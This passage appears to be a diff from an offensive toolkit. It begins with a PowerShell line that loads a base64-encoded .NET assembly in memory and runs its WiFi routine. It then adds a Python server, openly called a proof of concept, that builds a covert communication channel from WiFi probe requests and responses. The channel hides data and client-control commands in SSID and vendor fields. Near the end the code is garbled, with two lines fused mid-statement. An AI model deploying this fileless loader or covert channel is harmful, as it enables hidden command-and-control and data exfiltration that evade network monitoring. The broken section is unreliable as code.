AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAwAAAB8PgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" +[System.Reflection.Assembly]::Load([Convert]::FromBase64String($s)) +[NWiFi.NativeWifi]::run(-1, $srvID) diff --git a/dist/legacy/wifi_server.py b/dist/legacy/wifi_server.py new file mode 100755 index 0000000..545a23f --- /dev/null +++ b/dist/legacy/wifi_server.py @@ -0,0 +1,1211 @@ +#!/usr/bin/python +from __future__ import print_function + + +import logging +import sys +import time +import socket +import os +import Queue +from enum import Enum +from threading import Thread, Event +from select import select +from mame82_util import * + +NETLINK_USERSOCK = 2 +NETLINK_ADD_MEMBERSHIP = 1 +SOL_NETLINK = 270 + +nlgroup = 21 + +# ToDo: +# - change manual string substitution for debug out to use the substitution of logging module +# - connection reset for invalid packets + +logging.basicConfig(stream=sys.stderr, level=logging.INFO) + +class Helper: + @staticmethod + def s2hex(s): + #return "".join(map("0x%2.2x ".__mod__, map(ord, s))) + return "".join(map("%2.2x".__mod__, map(ord, s))) + + @staticmethod + def s2mac(s): + s = Helper.s2hex(s) + res = "" + for i in range(0, 12, 2): + res += s[i:i+2] + if i < 10: + res += ":" + return res + + +class Packet: + CTLM_TYPE_CON_INIT_REQ1 = 1 + CTLM_TYPE_CON_INIT_RSP1 = 2 + CTLM_TYPE_CON_INIT_REQ2 = 3 + CTLM_TYPE_CON_INIT_RSP2 = 4 + CTLM_TYPE_CON_RESET = 5 + CTLM_TYPE_RESET_LISTENING_PROC = 6 # tells the Client to restart the process which is bound to the socket, ignored by server (misplaced application layer message) + CTLM_TYPE_CLEAR_QUEUES = 7 # tells the receiver to clear inbound and outbound queue of ClientSocket + CTLM_TYPE_KILL_CLIENT = 8 # tells the client to exit + CTLM_TYPE_SET_CLIENT_POLL_INTERVALL = 9 # currently unused + + CON_RESET_REASON_UNSPECIFIED = 0 + CON_RESET_REASON_INVALID_CLIENT_ID = 1 + + PAY1_MAX_LEN = 27 + PAY2_MAX_LEN = 236 + + # Data encoding + # + # SSID - 32 BYTES (pay1) + # ---------------------- + # byte 0: pay1[0], if FlagControlMessage is set CTRL_TYPE + # byte 1..26: pay1[0..27] + # byte 27 ack + # byte 28 seq + # byte 29 flag_len bits: 0 = FlagControlMessage, 1 = reserved, 2 = reserved, 3-7 = len_pay1 + # byte 30 clientID_srvID bits: 0..3 = clientID, 4..7 = srvID + # byte 31 chk_pay1: 8 bit checksum + # + # Vendor Specific IE - 238 BYTES (pay2), could be missing + # ----------------------------------------------------- + # + # byte 0..235 pay2 + # byte 236 len_pay2: + # byte 237 chk_pay2: 8 bit checksum + + def __init__(self): + self.sa = "" # 80211 SA + self.da = "" # 80211 DA + self.clientID = 0 # logical source (as we use scanning, on some devices the 802.11 SA could change and isn't reliable) + self.srvID = 0 # logical destination + self.pay1 = "" # encoded in SSID + self.pay2 = None # encoded in vendor IE (optional, only if possible) + self.seq = 0 + self.ack = 0 + self.FlagControlMessage = False # If set, the payload contains a control message, pay1[0] is control message type + self.ctlm_type = 0 + + @staticmethod + def generateResetPacket(req, srvID, resetReason, seq=-1): + # type: (Packet,int,int,int) -> Packet + + resp = Packet() + resp.da = req.sa + resp.pay1 = chr(Packet.CTLM_TYPE_CON_RESET) + chr(resetReason) + resp.FlagControlMessage = True + resp.ctlm_type = Packet.CTLM_TYPE_CON_RESET + if seq == -1: + resp.seq = (req.ack + 1) & 0xFF + else: + resp.seq = seq + resp.srvID = srvID + resp.ack = req.seq + resp.clientID = req.clientID + return resp + + @staticmethod + def parse2packet(sa, da, raw_ssid_data, raw_ven_ie_data=None): + packet = Packet() + + packet.sa = sa + packet.da = da + + if raw_ven_ie_data != None: + pay2_len = ord(raw_ven_ie_data[236]) + packet.pay2 = raw_ven_ie_data[:pay2_len] + + packet.ack = ord(raw_ssid_data[27]) + packet.seq = ord(raw_ssid_data[28]) + + flag_len = ord(raw_ssid_data[29]) + packet.FlagControlMessage = (flag_len & 0x80) != 0 + if packet.FlagControlMessage: + packet.ctlm_type = ord(raw_ssid_data[0]) + pay1_len = flag_len & 0x1F + packet.pay1 = raw_ssid_data[:pay1_len] + + clientID_srvID = ord(raw_ssid_data[30]) + packet.clientID = clientID_srvID >> 4 + packet.srvID = clientID_srvID & 0x0F + + return packet + + def generateRawSsid(self, with_TL=True): + payload = self.pay1[:Packet.PAY1_MAX_LEN] # truncate, ToDo: warn if payload too large + if self.FlagControlMessage: + payload = chr(self.ctlm_type) + self.pay1[1:Packet.PAY1_MAX_LEN] + pay_len = len(payload) + out = payload + (Packet.PAY1_MAX_LEN - pay_len) * "\x00" # pad with zeroes + + # ack_seq + #ack_seq = (self.ack << 4) | (self.seq & 0x0F) + #out += chr(ack_seq) + out += chr(self.ack) + out += chr(self.seq) + + # flag_len + flag_len = pay_len + if self.FlagControlMessage: + flag_len += 0x80 + out += chr(flag_len) + + + # clientID_srvID + clientID_srvID = (self.clientID << 4) | (self.srvID & 0x0F) + out += chr(clientID_srvID) + + # chksum + chk = Packet.simpleChecksum8(out) + out += chr(chk) + + if with_TL: + out = "\x00\x20" + out + return out + + def generateRawVenIe(self, with_TL=True): + if self.pay2 == None: + return None + + payload = self.pay2[:236] # truncate, ToDo: warn if payload too large + pay_len = len(payload) + out = payload + (236 - pay_len) * "\x00" # pad with zeroes + + # build len_id octet + length = len(payload) + out += chr(length) + + # calculate checksum + chk = Packet.simpleChecksum8(out) + out += chr(chk) + + if with_TL: + # add SSID type and length + out = "\xDD\xEE" + out # type 221, length 238 + + return out + + @staticmethod + def checkLengthChecksum(raw_ssid_data, raw_ven_ie_data=None): + if len(raw_ssid_data) != 32: + return False + if ord(raw_ssid_data[31]) != Packet.simpleChecksum8(raw_ssid_data, 31): + return False + if raw_ven_ie_data != None: + if len(raw_ven_ie_data) != 238: + return False + if ord(raw_ven_ie_data[237]) != Packet.simpleChecksum8(raw_ven_ie_data, 237): + return False + return True + + def print_out(self): + logging.debug("Packet") + logging.debug("\tSA:\t{0}".format(self.sa)) + logging.debug("\tDA:\t{0}".format(self.da)) + logging.debug("\tClientID:\t{0}".format(self.clientID)) + logging.debug("\tsrvID:\t{0}".format(self.srvID)) + + logging.debug("\tSSID payload len:\t{0}".format(len(self.pay1))) + logging.debug("\tSSID payload:\t{0}".format(Helper.s2hex(self.pay1))) + if self.pay2 == None: + logging.debug("\tVendor IE:\tNone") + else: + logging.debug("\tVendor IE payload len:\t{0}".format(len(self.pay2))) + logging.debug("\tVendor IE payload:\t{0}".format(Helper.s2hex(self.pay2))) + logging.debug("\tFlag Control Message:\t{0}".format(self.FlagControlMessage)) + if self.FlagControlMessage: + logging.debug("\tCTLM_TYPE:\t{0}".format(self.ctlm_type)) + logging.debug("\tSEQ:\t{0}".format(self.seq)) + logging.debug("\tACK:\t{0}".format(self.ack)) + + @staticmethod + def simpleChecksum16(input, len_to_include=-1): + sum = 0 + if len_to_include == -1: + len_to_include = len(input) + + for off in range(len_to_include): + sum += ord(input[off]) + sum %= 0xFFFF + + sum = ~sum + + return [(sum >> 8) & 0xFF, sum & 0xFF] + + + @staticmethod + def simpleChecksum8(input, len_to_include=-1): + sum = 0 + if len_to_include == -1: + len_to_include = len(input) + + for off in range(len_to_include): + sum += ord(input[off]) + sum &= 0xFF + + sum = ~sum + + return sum & 0xFF + + +class ConnectionQueue: + def __init__(self, max_connections=15): + self.__available_client_IDs = [] + self.__queued_connections = [] + self.__wait_accept_state_change = Event() # is triggered, when a connection changes to pending_accept or from pending_accept to another state + self.__wait_accept_state_change.clear() + for ID in range(max_connections): + self.__available_client_IDs.insert(0, ID+1) + self.max_connections = max_connections + + def __handleConnectionStateChange(self, csock, oldstate, newstate): + # type: (ClientSocket, int, int) + + logging.debug("Connection clientID {0}, old state: {1}, new state {2}".format(csock.clientID, oldstate, newstate)) + + if newstate == ClientSocket.STATE_PENDING_ACCEPT or oldstate == ClientSocket.STATE_PENDING_ACCEPT: + # Trigger event when a connection enters or leaves pending_accept state + self.__wait_accept_state_change.set() + + if newstate == ClientSocket.STATE_CLOSE: + print("State transfer to CLOSE for Client ID: {0}, IV: {1}".format(csock.clientID, csock.clientIV)) + # remove connection from queue + # delete closed ClientSockets + self.deleteClosedConnections() + + def waitForPendingAcceptStateChange(self): + while not self.__wait_accept_state_change.isSet(): + # interrupted passive wait (interrupt to allow killing thread) + self.__wait_accept_state_change.set() + + self.__wait_accept_state_change.clear() + + def provideNewClientSocket(self, srvID): + try: + clientID = self.__available_client_IDs.pop() + except IndexError: + # no more client IDs left + return None + newcon = ClientSocket(srvID, self.__handleConnectionStateChange) + newcon.clientID = clientID + + # add to internal queue data + self.__queued_connections.append(newcon) + + # return none if no new client is available + return newcon + + def getConnectionListByState(self, con_state): + res = [] + for con in self.__queued_connections: + if con.state == con_state: + res.append(con) + return res + + def getConnectionByClientIV(self, clientIV): + res = None + for con in self.__queued_connections: + if con.clientIV == clientIV: + res = con + break + return res + + def getConnectionByClientID(self, clientID): + res = None + for con in self.__queued_connections: + if con.clientID == clientID: + res = con + break + return res + + def deleteClosedConnections(self): + closeList = [] + for con in self.__queued_connections: + if con.state == ClientSocket.STATE_CLOSE: + closeList.append(con) + + count = 0 + for con in closeList: + print("Removed closed socket for clientID: {0}, clientIV: {1}".format(con.clientID, con.clientIV)) + self.__queued_connections.remove(con) + self.__available_client_IDs.insert(con.clientID, con.clientID) # add client Id of deleted sock back to list of availabl IDs (at position of ID itself) + count += 1 + if count > 0: + print("Removed {0} closed connections".format(count)) + return count + + +class ClientSocket(object): + MTU_WITH_VEN_IE = Packet.PAY1_MAX_LEN + Packet.PAY2_MAX_LEN # 28 bytes netto SSID payload + 236 bytes netto vendor ie payload + MTU_WITHOUT_VEN_IE = Packet.PAY1_MAX_LEN + + STATE_CLOSE = 1 # communication possible + STATE_PENDING_OPEN = 2 # connection init started but not done + STATE_PENDING_ACCEPT = 3 # connection init done, but connection not accepted + STATE_OPEN = 4 # connection be used for communication + STATE_PENDING_CLOSE = 5 # connection is being transfered to close state + STATE_DELETE = 6 # connection is ready to be deleted + + def __init__(self, srvID, stateChangeCallback=None): + self.stateChangeCallback = stateChangeCallback + self.__state = ClientSocket.STATE_CLOSE + self.srvID = srvID + self.clientID = 0 # client ID in use for this connection + self.clientIV = 0 # random 32 bit IV used by the client during connection_init + self.clientIVBytes = None # random 32 bit IV used by the client during connection_init + self.clientSA = None # Source address used by client IN FIRST CONNECT (could change during scans and isn't updated) + self.txVenIeAllowed = False # if true vendor IE could be used when transmitting to client + self.rxVenIePossible = False # if true vendor IE could be received from client + self.mtu = ClientSocket.MTU_WITH_VEN_IE # mtu (depending on txVenIeAllowed) + self.last_rx_packet = None + self.tx_packet = None + self.clientSocket = None + self.__in_queue = Queue.Queue() + self.__out_queue = Queue.Queue() + self.__out_queue_ctlm = Queue.Queue() + + @property + def state(self): + return self.__state + + @state.setter + def state(self, value): + # this setter could be used to assure valid state transfers + oldstate = self.__state + if value == oldstate: + # no state transfer + return + self.__state = value + if self.stateChangeCallback != None: + self.stateChangeCallback(self, oldstate, value) + + def shutdown(self): + # send reset + # change state to close + pass + + def read(self, bufsize, block=False): + if self.state != ClientSocket.STATE_OPEN: + return "" + + if not self.hasInData(): + return "" + + len_received = 0 + len_chunk = 0 + current_chunk = None + buf = "" + + while len_received < bufsize: + if self.__in_queue.qsize() == 0: + break # stop if no more data in inqueue + + # Caution: This isn't thread safe, as a new element could be put() on the queue by the input_handler AFTER WE STORED len_chunk + # ToDo: put a thread LOCK on queue before length check + len_chunk = len(self.__in_queue.queue[0]) + + if (len_chunk + len_received) > bufsize: + break # abort, as we would exceed the gicen buffer size (before popping from queue) + + current_chunk = self.__in_queue.get() + + if len(current_chunk) == 0: + # break after popping from queue + break # zero len payload indicates EOF, has to be replaced by dedicated CTLM_TYPE (no priority, arriving in order) + + buf += current_chunk + len_received += len(current_chunk) + + return buf + + + def sendCtlMessage(self, ctlm_type, data): + self.__pushOutboundCtrlMsg(ctlm_type, data[:self.mtu]) + + # note: block parameter is currently always assumed to be True + def send(self, string, block=True): + for off in range(0, len(string), self.mtu): + chunk = string[off:off+self.mtu] + self.__pushOutboundData(chunk) + + def __pushOutboundCtrlMsg(self, ctlm_type, data, block=True): + # ToDo: check if valid ctlm_type + payload = chr(ctlm_type) + data + logging.debug("Pushing controlmessage type: {0}, outdata {1}".format(ctlm_type, data)) + self.__out_queue_ctlm.put(payload, block=block) + + def __pushOutboundData(self, data, block=True): + logging.debug("Pushing outdata {0}".format(data)) + self.__out_queue.put(data, block=block) + + def __popInboundData(self): + if self.hasInData(): + return self.__in_queue.get() + else: + return "" + + def disconnect(self, reason_code=Packet.CON_RESET_REASON_UNSPECIFIED): + reasonCodeChr = chr(reason_code) + self.sendCtlMessage(Packet.CTLM_TYPE_CON_RESET, reasonCodeChr) + self.state = ClientSocket.STATE_CLOSE + + def hasInData(self): + # type: () -> bool + return self.__in_queue.qsize() > 0 + + def handleRequest(self, req): + # type: (Packet) -> Packet + + + # cases for connection reset (disconnect): + # 1) Everytime a client tries to connect (has to be handled in ServerSocket.handle_request) + # 1.1) delete all client_sockets in state CLOSE + # 1.2) If no socket deleted: transfer oldest* client_socket in state PENDING_OPEN to CLOSE + send reset + # 1.4) If no socket transfered to CLOSE: transfer *oldest client_socket in state PENDING_ACCEPT to CLOSE + send reset + # *oldest refers to duration since last data was received + # 2) DONE: req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1 and (socket.state not CLOSE or PENDING_OPEN) + # 3) DONE: req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2 and (state not (PENDING_ACCEPT or (OPEN with las_rx_packet==INIT_REQ2)) + # 4) req.clientID isn't in use, but req.srvID is correct (has to be handled in ServerSocket.handle_request, happens when client continues sending after server restart) + # 5) req.seq is out of order (!= last_rx_packet.seq and != last_rx_packet.seq+1) + # --> possible double usage of ClientID, but as the current implementation doesn't allow out-of-order seq (ping pong communication), + # we could directly send a reset, which allows the client to re-initiate and receive a new client ID + # 6) req.ctlm_type == Packet.CTLM_TYPE_CON_RESET: send back CON_RESET_RESP and set state to CLOSE + # 7) user triggered (called disconnect) + + #### CTLM handling ###### + if req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1: + # first con_init_req1 as socket is still in close state + if self.state == ClientSocket.STATE_CLOSE: + self.clientSA = req.sa # not usable as identifier for client !!!COULD CHANGE!!! + + # generate response + resp = Packet() + resp.sa = "11:22:33:44:55:66" + resp.da = req.sa # direct probe response, even if SA changes + resp.pay1 = chr(Packet.CTLM_TYPE_CON_INIT_RSP1) + self.clientIVBytes + resp.pay2 = self.clientIVBytes + resp.FlagControlMessage = True + resp.ctlm_type = Packet.CTLM_TYPE_CON_INIT_RSP1 + resp.seq = 1 + # if we received a vendor IE, we inform the client by appending 0x02 at resp.pay1[5] + # if we aren't able to receive the vendor IE, we inform the client by appending 0x01 at resp.pay1[5] + if req.pay2 != None: + resp.pay1 += chr(2) + self.rxVenIePossible = True + else: + resp.pay1 += chr(1) + self.rxVenIePossible = False + # we hand out a new clientID to the pending (not yet established) connection + resp.clientID = self.clientID + resp.srvID = self.srvID + resp.ack = req.seq + + self.tx_packet = resp + self.last_rx_packet = req + resp.print_out() + + + # transfer state of the connection + self.state = ClientSocket.STATE_PENDING_OPEN + + return self.tx_packet + + # repeated con_init_req1 as socket is already in pending_open state + elif self.state == ClientSocket.STATE_PENDING_OPEN and req.ack == 0: + logging.debug("Stage 1 init request of this client already added, sending stored response ...") + return self.tx_packet + else: + print("Invalid socket state {0} for CTLM_TYPE_CON_INIT_REQ1".format(self.state)) + resp= Packet.generateResetPacket(req, self.srvID, Packet.CON_RESET_REASON_UNSPECIFIED, seq=1) + self.tx_packet = resp + self.last_rx_packet = req + self.state = ClientSocket.STATE_PENDING_CLOSE + return self.tx_packet + elif req.seq == 2 and req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2: + if self.state == ClientSocket.STATE_PENDING_OPEN: + print("InReq2 from ClientID {0} ...".format(req.clientID)) + + resp = self.tx_packet # fetch old response + resp.ack = req.seq + resp.seq = 2 + resp.ctlm_type = Packet.CTLM_TYPE_CON_INIT_RSP2 + resp.pay1 = chr(Packet.CTLM_TYPE_CON_INIT_RSP2) + self.clientIVBytes + self.last_rx_packet = req + self.tx_packet = resp + + if ord(req.pay1[5]) == 2: + # client received vendor IE in response1 + self.txVenIeAllowed = True + self.mtu = ClientSocket.MTU_WITH_VEN_IE + elif ord(req.pay1[5]) == 1: + # client didn't receive vendor IE from response1 + self.txVenIeAllowed = False + self.mtu = ClientSocket.MTU_WITHOUT_VEN_IE + else: + # req.pay1[5] invalid --> packet invalid + logging.debug("Received invalid information for ven IE receive caps from clientID {0}, dropped...", req.clientID) + return None + + + # Handover to accept() method !! + self.state = ClientSocket.STATE_PENDING_ACCEPT # done by event emitter in setter of state + + print("... InRsp2: Client added to accept-queue.") + self.print_out() + + return self.tx_packet + + + elif self.state == ClientSocket.STATE_PENDING_ACCEPT: + logging.debug("Connection in handover queue, resending stage2 response") + return self.tx_packet + elif self.state == ClientSocket.STATE_OPEN and self.last_rx_packet.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ2: + logging.debug("Resending stage2 response") + return self.tx_packet + else: + logging.debug("Invalid socket state {0} for CTLM_TYPE_CON_INIT_REQ2".format(self.state)) + resp= Packet.generateResetPacket(req, self.srvID, Packet.CON_RESET_REASON_UNSPECIFIED, seq=2) + self.tx_packet = resp + self.last_rx_packet = req + self.state = ClientSocket.STATE_PENDING_CLOSE + return self.tx_packet + + + #### data handling ###### + + # rx.ack rx.seq action + # == tx.seq != last_rx.seq+1 --> tx.seq+=1, tx.ack = last_tx.ack, pack new outdata into resp payload + # == tx.seq == last_rx.seq+1 --> tx.seq+=1, tx.ack = rx.seq, pack new outdata into resp payload, put indata into input queue, update last_rx_packet + # != tx.seq != last_rx.seq+1 --> tx.seq = last_tx.seq, tx.ack = last_tx.ack , resend last_tx_packet + # != tx.seq == last_rx.seq+1 --> tx.seq = last_tx.seq, tx.ack = rx.seq, put indata into input queue, update last_rx_packet + + # Note on flow control: PingPong, no slinding window, although it'd be usefull for bulk probe responses ... anyway, this is only a PoC + + if not req.FlagControlMessage: + if self.state != ClientSocket.STATE_OPEN: + logging.debug("Ignored inbound data packet, as socket for client ID {0} isn't in OPEN state".format(self.clientID)) + return None + + # check if seq has advanced + if req.seq == ((self.last_rx_packet.seq + 1) & 0xFF): + # new input packet, push data to in_queue + indata = req.pay1 + if req.pay2 != None: + indata += req.pay2 + self.__in_queue.put(indata) + logging.debug("Enqueueing indata (client {0}): '{1}'".format(self.clientID, indata)) + + # update last packet + self.last_rx_packet = req + + # update tx ack + self.tx_packet.ack = req.seq + + # check if ack is fitting last transmitted seq, thus we could push a new outbound packet + if req.ack == self.tx_packet.seq: + # advance tx seq + self.tx_packet.seq += 1 + self.tx_packet.seq &= 0xFF # modulo 256 + + + outdata = "" + + # before we send data, we check if we have pending outbound control messages (priority) + self.tx_packet.FlagControlMessage = False # only true if ctlm (false for empty heartbeat od data) + if self.__out_queue_ctlm.qsize() > 0: + outdata = self.__out_queue_ctlm.get() + self.tx_packet.ctlm_type = ord(outdata[0]) + self.tx_packet.FlagControlMessage = True + # pop data from out_queue and update payload NOTE: data from queue should always be <= self.mtu + elif self.__out_queue.qsize() > 0: + outdata = self.__out_queue.get() + + logging.debug("sending outdata in seq {1}: {0}".format(Helper.s2hex(outdata), self.tx_packet.seq)) + + # THIS SHOULD NEVER HAPPEN + if len(outdata) > self.mtu: + logging.debug("Error: Outdata has been truncate, because it was larger than MTU") + outdata = outdata[:self.mtu] + + self.tx_packet.pay1 = outdata[:Packet.PAY1_MAX_LEN] + if len(outdata) > Packet.PAY1_MAX_LEN: + self.tx_packet.pay2 = outdata[Packet.PAY1_MAX_LEN:] + else: + self.tx_packet.pay2 = None + + + return self.tx_packet + + + + + def print_out(self): + logging.debug("Connection") + logging.debug("\tClientID:\t{0}".format(self.clientID)) + logging.debug("\tClientIV bytes:\t{0}".format(Helper.s2hex(self.clientIVBytes))) + logging.debug("\tClientSA:\t{0}".format(self.clientSA)) + logging.debug("\tTX vendor IE possible:\t{0}".format(self.txVenIeAllowed)) + logging.debug("\tRX vendor IE possible:\t{0}".format(self.rxVenIePossible)) + logging.debug("\tTX MTU:\t{0}".format(self.mtu)) + + +class ServerSocket: + MAX_CONNECTIONS_LIMIT = 15 # more clients aren't allowed + __global_firmware_event_queue = None + __global_firmware_event_thread = None + __nl_in_socket = None + __nl_out_socket = None + __nl_out_socket_fd = None + __nl_thread_stop = Event() + + + def __init__(self): + self.nl_out_socket = None + + self.__connection_queue = None + + self.srvID = 7 # identifies the server (could be seen as IP, possible values 1..15) + self.max_connections = 7 + self.isBound = False + self.isListening = False + + @staticmethod + def eprint(message): + sys.stderr.write("WiFiSocket ERROR: "+message + "\n") + + @staticmethod + def __parse_ies(s): + res = {} + if len(s) < 2: + return res + pos = 0 + while pos < (len(s)-2): + t = ord(s[pos]) + pos+=1 + l = ord(s[pos]) + pos+=1 + v = s[pos:pos+l] + pos += l + res.update({t: [l, v]}) + + return res + + + def bind(self, srvID=7): + self.srvID = srvID + + if ServerSocket.__global_firmware_event_queue == None: + ServerSocket.__global_firmware_event_queue = Queue.Queue() + + if not ServerSocket.__nl_in_socket == None: + ServerSocket.eprint("bind() netlink multicast listener already running...") + self.isBound = True + return None + + # open socket to receive multicast message from firmware + ######################################################### + try: + s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, NETLINK_USERSOCK) + except socket.error: + ServerSocket.eprint("Error creating netlink socket for Firmware multicasts") + return None + + # bind to kernel + s.bind((os.getpid(), 0)) + + # 270 is SOL_NETLINK and 1 is NETLINK_ADD_MEMBERSHIP + try: + s.setsockopt(SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, nlgroup) + except socket.error: + ServerSocket.eprint("Failed to attach to netlink multicast group {0}, try with root permissions".format(nlgroup)) + return None + + ServerSocket.__nl_in_socket = s + + # open socket for unicat messages to firmware # + ############################################### + s = nexconf.openNL_sock() + ServerSocket.__nl_out_socket = s # socket + ServerSocket.__nl_out_socket_fd = os.fdopen(s.fileno(), 'w+b') # writable FD + + print("Bound to server ID {0}".format(self.srvID)) + + + + self.isBound = True + + def unbind(self): + # stop event listener thread for Kernel NL multicasts + logging.debug("Stop listening for firmware events...") + self.__nl_thread_stop.set() + logging.debug("Unregistering firmware event listener") + ServerSocket.__nl_in_socket.close() + ServerSocket.__nl_out_socket_fd.close() + ServerSocket.__nl_out_socket.close() + self.isListening = False + self.isBound = False + + + def listen(self, max_connections=7): + if max_connections > ServerSocket.MAX_CONNECTIONS_LIMIT: + ServerSocket.eprint("Max connections limited to {0}, but {1} given on listen()".format(ServerSocket.MAX_CONNECTIONS_LIMIT, max_connections)) + return + if not self.isBound: + ServerSocket.eprint("Socket isn't bound, listening not possible. Call bind() first.") + return + self.max_connections = max_connections + self.__connection_queue = ConnectionQueue(max_connections) + + + # start Thread which handles incoming probe events + ServerSocket.__global_firmware_event_thread = Thread(target = self.__firmware_event_reader, name = "WiFiSocket Firmware event thread", args = ( )) + ServerSocket.__global_firmware_event_thread.start() + + self.isListening = True + print("Listening for incoming connections (max {0})".format(max_connections)) + + def __firmware_event_reader(self): + logging.debug("Listening for WiFi firmware events") + sfd = ServerSocket.__nl_in_socket.fileno() + + while not ServerSocket.__nl_thread_stop.isSet(): + + + # instead of blocking read, we poll the socket (blocking, but with timeout) + # this is used to keep the thread responsive in order to allow ending it (at least with a delay of read_timeout) + read_timeout = 0.5 + sel = select([sfd], [], [], read_timeout) # test if readable data arrived on nl_socket, interrupt after timeout + if len(sel[0]) == 0: + # no data arrived +# print "No data" + continue + + data = ServerSocket.__nl_in_socket.recvfrom(0xFFFF)[0] + + # parse data + data = data[16:] # strip off nlmsghdr (16) + f80211_fc_type_subtype = data[0] # store FC + if f80211_fc_type_subtype != "\x40": + logging.debug("Firmware event received, but frame isn't a mgmt probe request") + continue + f80211_fc_flags = data[1] # store flags + f80211_duration = data[2:4] # store duration + f80211_da = data[4:10] # store destinatioon address + f80211_sa = data[10:16] # store source address + f80211_bssid = data[16:22] # store bssid + f80211_fragment = data[22:24] # store fragment + f80211_parameters = data[24:] # store additional IEs (TLV list) + f80211_parameters = f80211_parameters[:-2] # fix to avoid parsing 0x0000 padding as SSID type + + #print("IEs: {0}".format(Helper.s2hex(f80211_parameters))) + + ies = ServerSocket.__parse_ies(f80211_parameters) + + # check fo SSID + ssid = None + ssid_len = 0 + if 0 in ies: + ssid_len = ies[0][0] + ssid = ies[0][1] + else: + continue + + + # check for vendor specific IE (we only check one of the possible vendor IEs) + ven_ie = None + ven_ie_len = 0 + if 221 in ies: + ven_ie_len = ies[221][0] + ven_ie = ies[221][1] + + + if not Packet.checkLengthChecksum(ssid, ven_ie): + #logging.debug("Packet dropped because length or checksum are wrong") + continue + + + + # create a packet and dispatch it + packet = Packet.parse2packet(Helper.s2mac(f80211_sa), Helper.s2mac(f80211_da), ssid, ven_ie) + self.__inbound_dispatcher(packet) + + + logging.debug("... stopped listening for firmware events") + + @staticmethod + def __send_probe_resp_to_driver(sa, da, ie_ssid_data, ie_vendor_data=None): + if ServerSocket.__nl_out_socket_fd == None: + ServerSocket.eprint("Socket FD for unicast to device driver not defined") + return + + arr_bssid = mac2bstr(sa) + arr_da = mac2bstr(da) + + ie_ssid_type = 0 + ie_ssid_len = 32 + ie_vendor_type = 221 + ie_vendor_len = 238 + + buf = "" + + + # For Atheros AR9271: + # Supported rates IE and DS parameter set IE have to be present in probe response, otherwise the frame is discarded + # additional note on Atheros: + # - vendor IEs isn't transmitted for probe requests issued by scans from Windows, thus the client-to-server mtu is only 7 bytes + # - vendor IEs from probe responses could be read back (as long as the IEs highlighted above are added), thus client to server MTU is 264 bytes + # - a single scan takes less than 4 seconds + # - a scan caches up to 22 received probe responses (based on observations). We only have 16 sequence numbers, this would break the + # flow control (doubled seq/ack). Luckily the Windows driver returns the list in order of reception, which means the last SSID in the + # list of scan results, is the newest Probe Response received. By iterating over the list in reverse order, we could discard older packets + # with repeated sequence number relaibly. + # - the "automatic mtu scaling" works nicely ... client to server data uses only the SSID IE, server to client data contains an additional + # vendor IE and thus has a larger MTU + # For 'Intel(R) Dual Band Wireless-AC 3160' + # no additional IEs (beside SSID and Vendor specific IE with data), have to be present in order to work + # - MTU in both directions is 264 bytes, but a single scan takes ~4 seconds + + insert = "\x01\x08\x82\x84\x8b\x96\x12\x24\x48\x6c" # Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6(B), 9, 12(B), 18, [Mbit/sec] + insert += "\x03\x01\x0b" # DS Parameter set: Current Channel: 11 + + + insert += "\x7f\x08\x00\x00\x00\x00\x00\x00\x00\x40" + + + + len_insert = len(insert) + if ie_vendor_data == None: + buf = struct.pack(" None + if len(resp.sa) == 0: + resp.sa = "de:ad:be:ef:13:37" # ToDo: randomize bssid/sa + ServerSocket.__send_probe_resp_to_driver(resp.sa, resp.da, resp.generateRawSsid(False), resp.generateRawVenIe(False)) + + def handle_request(self, req): + # ToDo: this method handles everything, thus code should be moved to inbound dispatcher + #logging.debug("Init connection") + + q = self.__connection_queue + + # handle CON_INIT_REQ1 for clients without ID or forward repeated CON_INIT_REQ1 to correct client socket + if req.ctlm_type == Packet.CTLM_TYPE_CON_INIT_REQ1 and req.seq == 1: + # the very first connection (Packet.CTLM_TYPE_CON_INIT_REQ1) request couldn't be handled by a client socket, as no one does exist + # this is only true for the first probe request of this kind (we get them in bulks, with repetitions) + + # extract init vector + iv = struct.unpack("I", req.pay1[1:5])[0] + + + con_pending_open = q.getConnectionByClientIV(iv) + if con_pending_open == None: # no ClientSocket exists for this IV + print("InReq1: Connection request from client IV: {0}".format(iv)) + 